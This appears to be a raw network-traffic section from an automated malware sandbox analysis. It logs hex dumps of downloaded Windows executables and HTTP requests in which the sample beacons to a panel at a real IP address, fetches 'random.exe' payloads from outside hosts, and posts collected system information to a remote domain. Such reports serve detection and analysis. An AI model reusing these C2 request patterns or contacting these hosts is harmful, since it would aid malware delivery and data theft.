00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:09:34 GMTContent-Type: application/octet-streamContent-Length: 3034624Last-Modified: Wed, 18 Dec 2024 15:29:19 GMTConnection: keep-aliveETag: "6762ea4f-2e4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 32 00 00 04 00 00 27 dc 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 e1 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 e1 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 78 62 65 78 67 70 6c 00 40 2b 00 00 b0 06 00 00 32 2b 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 62 7a 65 73 72 68 7a 00 10 00 00 00 f0 31 00 00 04 00 00 00 28 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 32 00 00 22 00 00 00 2c 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:09:36 GMTContent-Type: application/octet-streamContent-Length: 1731584Last-Modified: Wed, 18 Dec 2024 15:27:32 GMTConnection: keep-aliveETag: "6762e9e4-1a6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 45 00 00 04 00 00 cc 43 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 04 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 a0 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 76 77 75 75 69 77 6c 00 20 1a 00 00 00 2b 00 00 0c 1a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 65 79 70 75 75 73 71 00 20 00 00 00 20 45 00 00 04 00 00 00 46 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 45 00 00 22 00 00 00 4a 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:09:43 GMTContent-Type: application/octet-streamContent-Length: 3005440Last-Modified: Wed, 18 Dec 2024 15:29:29 GMTConnection: keep-aliveETag: "6762ea59-2ddc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 98 01 00 00 00 00 00 00 90 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 31 00 00 04 00 00 92 35 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 71 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 71 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 74 67 7a 71 61 6b 79 00 d0 2a 00 00 b0 06 00 00 c2 2a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 62 72 73 77 68 6b 7a 00 10 00 00 00 80 31 00 00 04 00 00 00 b6 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 31 00 00 22 00 00 00 ba 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:09:46 GMTContent-Type: application/octet-streamContent-Length: 2903552Last-Modified: Wed, 18 Dec 2024 15:29:10 GMTConnection: keep-aliveETag: "6762ea46-2c4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 80 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 4f 00 00 04 00 00 ea c3 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6e 73 67 67 71 6d 6b 70 00 b0 2a 00 00 c0 24 00 00 ac 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 72 65 68 71 75 69 71 00 10 00 00 00 70 4f 00 00 04 00 00 00 28 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4f 00 00 22 00 00 00 2c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 18 Dec 2024 16:09:57 GMTContent-Type: application/octet-streamContent-Length: 3034624Last-Modified: Wed, 18 Dec 2024 15:29:19 GMTConnection: keep-aliveETag: "6762ea4f-2e4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 32 00 00 04 00 00 27 dc 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 e1 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 e1 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 78 62 65 78 67 70 6c 00 40 2b 00 00 b0 06 00 00 32 2b 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 62 7a 65 73 72 68 7a 00 10 00 00 00 f0 31 00 00 04 00 00 00 28 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 32 00 00 22 00 00 00 2c 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 38 37 38 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2878B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/x3team/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016964001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 39 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016965001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 499280Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 33 38 31 31 33 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 